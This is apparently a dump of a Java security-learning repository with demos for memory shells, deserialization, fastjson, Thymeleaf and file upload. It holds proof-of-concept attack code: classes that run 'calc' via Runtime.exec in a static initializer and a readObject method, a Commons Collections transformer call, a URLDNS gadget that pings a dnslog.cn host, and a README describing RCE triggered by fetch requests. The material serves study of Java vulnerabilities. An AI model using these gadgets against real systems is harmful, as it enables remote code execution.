https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-web-5.3.13.jar
--------------------------------------------------------------------------------
/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-webmvc-5.3.13.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-webmvc-5.3.13.jar
--------------------------------------------------------------------------------
/MemShellDemo/target/MemShellDemo/WEB-INF/lib/tomcat-annotations-api-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/tomcat-annotations-api-9.0.55.jar
--------------------------------------------------------------------------------
/MemShellDemo/target/MemShellDemo/WEB-INF/lib/tomcat-embed-core-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/tomcat-embed-core-9.0.55.jar
--------------------------------------------------------------------------------
/MemShellDemo/target/MemShellDemo/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello World!
4 |
5 |
6 |
--------------------------------------------------------------------------------
/MemShellDemo/target/classes/com/my/test/TestFilter.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/classes/com/my/test/TestFilter.class
--------------------------------------------------------------------------------
/MemShellDemo/target/classes/com/my/test/TestFilter1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/classes/com/my/test/TestFilter1.class
--------------------------------------------------------------------------------
/MemShellDemo/target/classes/com/my/test/TestHttpServelet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/classes/com/my/test/TestHttpServelet.class
--------------------------------------------------------------------------------
/MemShellDemo/target/classes/com/my/test/TestListener.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/classes/com/my/test/TestListener.class
--------------------------------------------------------------------------------
/MemShellDemo/target/classes/com/my/test/testServlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/classes/com/my/test/testServlet.class
--------------------------------------------------------------------------------
/MySerialDemo/MySerialDemo/MySerialDemo.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/MySerialDemo/MySerialDemo/src/main/java/Evil.java:
--------------------------------------------------------------------------------
1 | public class Evil {
2 | static {
3 | System.err.println("Pwned");
4 | try {
5 | String[] cmd = {"calc"};
6 | java.lang.Runtime.getRuntime().exec(cmd).waitFor();
7 | } catch ( Exception e ) {
8 | e.printStackTrace();
9 | }
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/MySerialDemo/MySerialDemo/src/main/java/MySerialDemo.java:
--------------------------------------------------------------------------------
1 | import com.alibaba.fastjson.JSON;
2 | import com.alibaba.fastjson.JSONObject;
3 |
4 | public class MySerialDemo {
5 | public static void main(String[] args) {
6 | String jsonstr = "{\"@type\":\"UserFastJson\",\"password\":\"123456\",\"name\":\"李四\",\"sex\":\"0\"}";
7 | try {
8 | System.out.println("===============JSON.parse(jsonstr)=========================");
9 | // Object obj1= JSON.parse(jsonstr);
10 | // System.out.println("===============JSON.parseObject(jsonstr)=========================");
11 | JSONObject obj2= JSON.parseObject(jsonstr);
12 | // System.out.println("===============JSON.parseObject(jsonstr,UserFastJson.class)=========================");
13 | // UserFastJson obj3= JSON.parseObject(jsonstr,UserFastJson.class);
14 | // System.out.println(user.getName());
15 | }catch (Exception e) {
16 | System.out.println(e.getMessage());
17 | }
18 |
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/MySerialDemo/MySerialDemo/src/main/java/TestUser.java:
--------------------------------------------------------------------------------
1 | import java.io.*;
2 |
3 | public class TestUser {
4 | public static void main(String[] args) throws IOException, ClassNotFoundException {
5 | File file = new File("e:/user.txt");
6 | ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(file));
7 | outputStream.writeObject(new User("lebron", "123"));
8 |
9 | ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream(file));
10 | User user = (User) inputStream.readObject();
11 | System.out.println(user.getName() +" : "+ user.getPassword());
12 | }
13 |
14 |
15 | }
16 |
--------------------------------------------------------------------------------
/MySerialDemo/MySerialDemo/target/classes/Evil.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MySerialDemo/MySerialDemo/target/classes/Evil.class
--------------------------------------------------------------------------------
/MySerialDemo/MySerialDemo/target/classes/MySerialDemo.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MySerialDemo/MySerialDemo/target/classes/MySerialDemo.class
--------------------------------------------------------------------------------
/MySerialDemo/MySerialDemo/target/classes/TestUser.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MySerialDemo/MySerialDemo/target/classes/TestUser.class
--------------------------------------------------------------------------------
/MySerialDemo/MySerialDemo/target/classes/User.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MySerialDemo/MySerialDemo/target/classes/User.class
--------------------------------------------------------------------------------
/MySerialDemo/MySerialDemo/target/classes/UserFastJson.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MySerialDemo/MySerialDemo/target/classes/UserFastJson.class
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # LearnDemo
2 | All this Demo is used by my blog : moonsec.top
3 | ## 提交方法
4 | fetch("http://127.0.0.1:8088/start-hire-process", {
5 | "headers": {
6 | "content-type": "application/json"
7 | },
8 | "body": '{"name":"cn","email":"aaa@aaa.com","phoneNumber":"13913887631","id":"111"}',
9 | "method": "POST",
10 | "mode": "cors",
11 | "credentials": "include"
12 | }).then(r=>r.log);
13 |
14 | 
15 |
16 | ## scriptTask RCE
17 | 通过上述的fetch方式触发 RCE
18 | 
19 |
20 | ## ServiceTask RCE
21 | 通过fetch方式触发RCE
22 | 
23 |
--------------------------------------------------------------------------------
/ReSerial/src/main/java/com/example/reserial/ReSerialApplication.java:
--------------------------------------------------------------------------------
1 | package com.example.reserial;
2 |
3 | import org.springframework.boot.SpringApplication;
4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
5 |
6 | @SpringBootApplication
7 | public class ReSerialApplication {
8 |
9 | public static void main(String[] args) {
10 | SpringApplication.run(ReSerialApplication.class, args);
11 | }
12 |
13 | }
14 |
--------------------------------------------------------------------------------
/ReSerial/src/main/java/test/DNSTest.java:
--------------------------------------------------------------------------------
1 | package test;
2 |
3 | import java.io.*;
4 | import java.lang.reflect.Field;
5 | import java.net.URL;
6 | import java.util.HashMap;
7 |
8 | public class DNSTest {
9 | public static void main(String[] args) throws Exception {
10 |
11 | // URL url1 = new URL("http://hw54so.dnslog.cn");
12 | // url1.hashCode();
13 |
14 |
15 | HashMap hashMap = new HashMap<>();
16 | URL url = new URL("http://8de0ko.dnslog.cn");
17 | Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
18 | f.setAccessible(true);
19 | f.set(url, 0x01010101);
20 | hashMap.put(url, 0);
21 | f.set(url, -1);
22 |
23 | ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.bin"));
24 | oos.writeObject(hashMap);
25 | ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns.bin"));
26 | ois.readObject();
27 | }
28 | }
--------------------------------------------------------------------------------
/ReSerial/src/main/java/test/Person.java:
--------------------------------------------------------------------------------
1 | package test;
2 |
3 | import java.io.IOException;
4 | import java.io.Serializable;
5 |
6 | public class Person implements Serializable {
7 |
8 | private String name;
9 |
10 | private int age;
11 |
12 | public Person(String name, int age) {
13 | this.name = name;
14 | this.age = age;
15 | }
16 |
17 | private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException, IOException {
18 | Runtime.getRuntime().exec("calc.exe");
19 | }
20 |
21 | }
22 |
--------------------------------------------------------------------------------
/ReSerial/src/main/java/test/SerializableTest.java:
--------------------------------------------------------------------------------
1 | package test;
2 |
3 | import java.io.*;
4 | import java.util.HashMap;
5 |
6 | public class SerializableTest {
7 |
8 | public static void main(String[] args) throws IOException, ClassNotFoundException, FileNotFoundException {
9 |
10 | HashMap hsmap = new HashMap();
11 |
12 | Person person = new Person("zhangsan", 24);
13 |
14 | ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("abc.txt"));
15 | oos.writeObject(person);
16 | oos.close();
17 |
18 |
19 | FileInputStream fis = new FileInputStream("abc.txt");
20 | ObjectInputStream ois = new ObjectInputStream(fis);
21 | ois.readObject();
22 | ois.close();
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/ReSerial/src/main/java/transform/TransformerTest.java:
--------------------------------------------------------------------------------
1 | package transform;
2 |
3 | import org.apache.commons.collections.Transformer;
4 | import org.apache.commons.collections.functors.MapTransformer;
5 |
6 | import java.io.IOException;
7 | import java.util.HashMap;
8 |
9 | public class TransformerTest {
10 | public static void main(String[] args) throws IOException {
11 | HashMap map = new HashMap<>();
12 | map.put("key",Runtime.getRuntime());
13 | Transformer transform = MapTransformer.getInstance(map);
14 | // Runtime runtime = (Runtime) transform.transform("key");
15 | // runtime.exec("calc");
16 | ((Runtime) transform.transform("key")).exec("calc");
17 | System.out.println("finish");
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/ReSerial/src/main/resources/application.properties:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/ReSerial/src/test/java/com/example/reserial/ReSerialApplicationTests.java:
--------------------------------------------------------------------------------
1 | package com.example.reserial;
2 |
3 | import org.junit.jupiter.api.Test;
4 | import org.springframework.boot.test.context.SpringBootTest;
5 |
6 | @SpringBootTest
7 | class ReSerialApplicationTests {
8 |
9 | @Test
10 | void contextLoads() {
11 | }
12 |
13 | }
14 |
--------------------------------------------------------------------------------
/ScriptEngineDemo/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.example
8 | ScriptEngineDemo
9 | 1.0-SNAPSHOT
10 |
11 |
12 | 8
13 | 8
14 |
15 |
16 |
17 |
18 | org.javadelight
19 | delight-nashorn-sandbox
20 | 0.2.5
21 |
22 |
23 | javax.json
24 | javax.json-api
25 | 1.0
26 |
27 |
28 | com.alibaba
29 | fastjson
30 | 1.2.24
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/ScriptEngineDemo/target/classes/FirstJavaScript.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ScriptEngineDemo/target/classes/FirstJavaScript.class
--------------------------------------------------------------------------------
/ScriptEngineDemo/target/classes/FirstJavaScriptJS.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ScriptEngineDemo/target/classes/FirstJavaScriptJS.class
--------------------------------------------------------------------------------
/ThymeleafDemo/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Editor-based HTTP Client requests
5 | /httpRequests/
6 | # Datasource local storage ignored files
7 | /dataSources/
8 | /dataSources.local.xml
9 |
--------------------------------------------------------------------------------
/ThymeleafDemo/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/ThymeleafDemo/.idea/encodings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/ThymeleafDemo/.idea/jarRepositories.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/ThymeleafDemo/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/ThymeleafDemo/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/ThymeleafDemo/src/main/java/com/my/DemoApplication.java:
--------------------------------------------------------------------------------
1 | package com.my;
2 |
3 | import org.springframework.boot.SpringApplication;
4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
5 |
6 | @SpringBootApplication
7 | public class DemoApplication {
8 | public static void main(String[] args) {
9 | SpringApplication.run(DemoApplication.class, args);
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/ThymeleafDemo/src/main/resources/application.yml:
--------------------------------------------------------------------------------
1 | # 配置端口
2 | server:
3 | port: 9090
4 | #spring:
5 | # mvc:
6 | # view:
7 | # prefix: classpath:/templates/
8 | #
9 | # suffix: .html
10 |
11 |
--------------------------------------------------------------------------------
/ThymeleafDemo/src/main/resources/templates/hello.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Title
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/ThymeleafDemo/src/main/resources/templates/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
FindIT
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/ThymeleafDemo/target/classes/application.yml:
--------------------------------------------------------------------------------
1 | # 配置端口
2 | server:
3 | port: 9090
4 | #spring:
5 | # mvc:
6 | # view:
7 | # prefix: classpath:/templates/
8 | #
9 | # suffix: .html
10 |
11 |
--------------------------------------------------------------------------------
/ThymeleafDemo/target/classes/com/my/DemoApplication.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ThymeleafDemo/target/classes/com/my/DemoApplication.class
--------------------------------------------------------------------------------
/ThymeleafDemo/target/classes/com/my/controller/IndexController.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ThymeleafDemo/target/classes/com/my/controller/IndexController.class
--------------------------------------------------------------------------------
/ThymeleafDemo/target/classes/templates/hello.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Title
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/ThymeleafDemo/target/classes/templates/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
FindIT
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/UploadDemo/lib/aopalliance-1.0.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/aopalliance-1.0.jar
--------------------------------------------------------------------------------
/UploadDemo/lib/commons-logging-1.2.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/commons-logging-1.2.jar
--------------------------------------------------------------------------------
/UploadDemo/lib/spring-aop-5.2.3.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-aop-5.2.3.RELEASE.jar
--------------------------------------------------------------------------------
/UploadDemo/lib/spring-aspects-5.2.3.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-aspects-5.2.3.RELEASE.jar
--------------------------------------------------------------------------------
/UploadDemo/lib/spring-beans-5.2.3.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-beans-5.2.3.RELEASE.jar
--------------------------------------------------------------------------------
/UploadDemo/lib/spring-context-5.2.3.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-context-5.2.3.RELEASE.jar
--------------------------------------------------------------------------------
/UploadDemo/lib/spring-context-support-5.2.3.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-context-support-5.2.3.RELEASE.jar
--------------------------------------------------------------------------------
/UploadDemo/lib/spring-core-5.2.3.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-core-5.2.3.RELEASE.jar
--------------------------------------------------------------------------------
/UploadDemo/lib/spring-expression-5.2.3.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-expression-5.2.3.RELEASE.jar
--------------------------------------------------------------------------------
/UploadDemo/lib/spring-instrument-5.2.3.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-instrument-5.2.3.RELEASE.jar
--------------------------------------------------------------------------------
/UploadDemo/lib/spring-jdbc-5.2.3.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-jdbc-5.2.3.RELEASE.jar
--------------------------------------------------------------------------------
/UploadDemo/lib/spring-jms-5.2.3.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-jms-5.2.3.RELEASE.jar
--------------------------------------------------------------------------------
/UploadDemo/lib/spring-messaging-5.2.3.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-messaging-5.2.3.RELEASE.jar
--------------------------------------------------------------------------------
/UploadDemo/lib/spring-orm-5.2.3.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-orm-5.2.3.RELEASE.jar
--------------------------------------------------------------------------------
/UploadDemo/lib/spring-oxm-5.2.3.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-oxm-5.2.3.RELEASE.jar
--------------------------------------------------------------------------------
/UploadDemo/lib/spring-test-5.2.3.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-test-5.2.3.RELEASE.jar
--------------------------------------------------------------------------------
/UploadDemo/lib/spring-tx-5.2.3.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-tx-5.2.3.RELEASE.jar
--------------------------------------------------------------------------------
/UploadDemo/src/main/java/com/my/upload/service/fileService.java:
--------------------------------------------------------------------------------
1 | package com.my.upload.service;
2 |
3 | public class fileService {
4 | }
5 |
--------------------------------------------------------------------------------
/UploadDemo/src/main/webapp/WEB-INF/pages/success.jsp:
--------------------------------------------------------------------------------
1 | <%--
2 | Created by IntelliJ IDEA.
3 | User: Administrator
4 | Date: 2022/7/17
5 | Time: 15:32
6 | To change this template use File | Settings | File Templates.
7 | --%>
8 | <%--
9 | Created by IntelliJ IDEA.
10 | User: 儒雅
11 | Date: 2021/11/15
12 | Time: 9:24
13 | To change this template use File | Settings | File Templates.
14 | --%>
15 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
16 |
17 |
18 | Title
19 |
20 |
21 | 上传成功
22 |
23 |
24 |
--------------------------------------------------------------------------------
/UploadDemo/src/main/webapp/index.jsp:
--------------------------------------------------------------------------------
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
2 |
3 |
4 | Hello World!
5 | springmvc文件上传
6 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/UploadDemo/target/UploadDemo.war:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo.war
--------------------------------------------------------------------------------
/UploadDemo/target/UploadDemo/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Created-By: IntelliJ IDEA
3 | Built-By: Administrator
4 | Build-Jdk: version 1.8.0_321
5 |
6 |
--------------------------------------------------------------------------------
/UploadDemo/target/UploadDemo/WEB-INF/classes/com/my/upload/crontroller/fileCrotroller.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/classes/com/my/upload/crontroller/fileCrotroller.class
--------------------------------------------------------------------------------
/UploadDemo/target/UploadDemo/WEB-INF/classes/com/my/upload/service/fileService.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/classes/com/my/upload/service/fileService.class
--------------------------------------------------------------------------------
/UploadDemo/target/UploadDemo/WEB-INF/lib/commons-fileupload-1.3.3.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/commons-fileupload-1.3.3.jar
--------------------------------------------------------------------------------
/UploadDemo/target/UploadDemo/WEB-INF/lib/commons-io-2.2.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/commons-io-2.2.jar
--------------------------------------------------------------------------------
/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-aop-5.3.13.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-aop-5.3.13.jar
--------------------------------------------------------------------------------
/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-beans-5.3.13.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-beans-5.3.13.jar
--------------------------------------------------------------------------------
/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-context-5.3.13.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-context-5.3.13.jar
--------------------------------------------------------------------------------
/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-core-5.3.13.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-core-5.3.13.jar
--------------------------------------------------------------------------------
/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-expression-5.3.13.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-expression-5.3.13.jar
--------------------------------------------------------------------------------
/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-jcl-5.3.13.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-jcl-5.3.13.jar
--------------------------------------------------------------------------------
/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-web-5.3.13.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-web-5.3.13.jar
--------------------------------------------------------------------------------
/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-webmvc-5.3.13.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-webmvc-5.3.13.jar
--------------------------------------------------------------------------------
/UploadDemo/target/UploadDemo/WEB-INF/lib/tomcat-annotations-api-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/tomcat-annotations-api-9.0.55.jar
--------------------------------------------------------------------------------
/UploadDemo/target/UploadDemo/WEB-INF/lib/tomcat-embed-core-9.0.55.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/tomcat-embed-core-9.0.55.jar
--------------------------------------------------------------------------------
/UploadDemo/target/UploadDemo/WEB-INF/pages/success.jsp:
--------------------------------------------------------------------------------
1 | <%--
2 | Created by IntelliJ IDEA.
3 | User: Administrator
4 | Date: 2022/7/17
5 | Time: 15:32
6 | To change this template use File | Settings | File Templates.
7 | --%>
8 | <%--
9 | Created by IntelliJ IDEA.
10 | User: 儒雅
11 | Date: 2021/11/15
12 | Time: 9:24
13 | To change this template use File | Settings | File Templates.
14 | --%>
15 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
16 |
17 |
18 | Title
19 |
20 |
21 | 上传成功
22 |
23 |
24 |
--------------------------------------------------------------------------------
/UploadDemo/target/UploadDemo/index.jsp:
--------------------------------------------------------------------------------
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
2 |
3 |
4 | Hello World!
5 | springmvc文件上传
6 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/UploadDemo/target/classes/com/my/upload/crontroller/fileCrotroller.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/classes/com/my/upload/crontroller/fileCrotroller.class
--------------------------------------------------------------------------------
/UploadDemo/target/classes/com/my/upload/service/fileService.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/classes/com/my/upload/service/fileService.class
--------------------------------------------------------------------------------
/express/jexl/JxelDemo/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Editor-based HTTP Client requests
5 | /httpRequests/
6 | # Datasource local storage ignored files
7 | /dataSources/
8 | /dataSources.local.xml
9 |
--------------------------------------------------------------------------------
/express/jexl/JxelDemo/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/express/jexl/JxelDemo/.idea/encodings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/express/jexl/JxelDemo/.idea/jarRepositories.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/express/jexl/JxelDemo/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/express/jexl/JxelDemo/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/express/jexl/JxelDemo/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
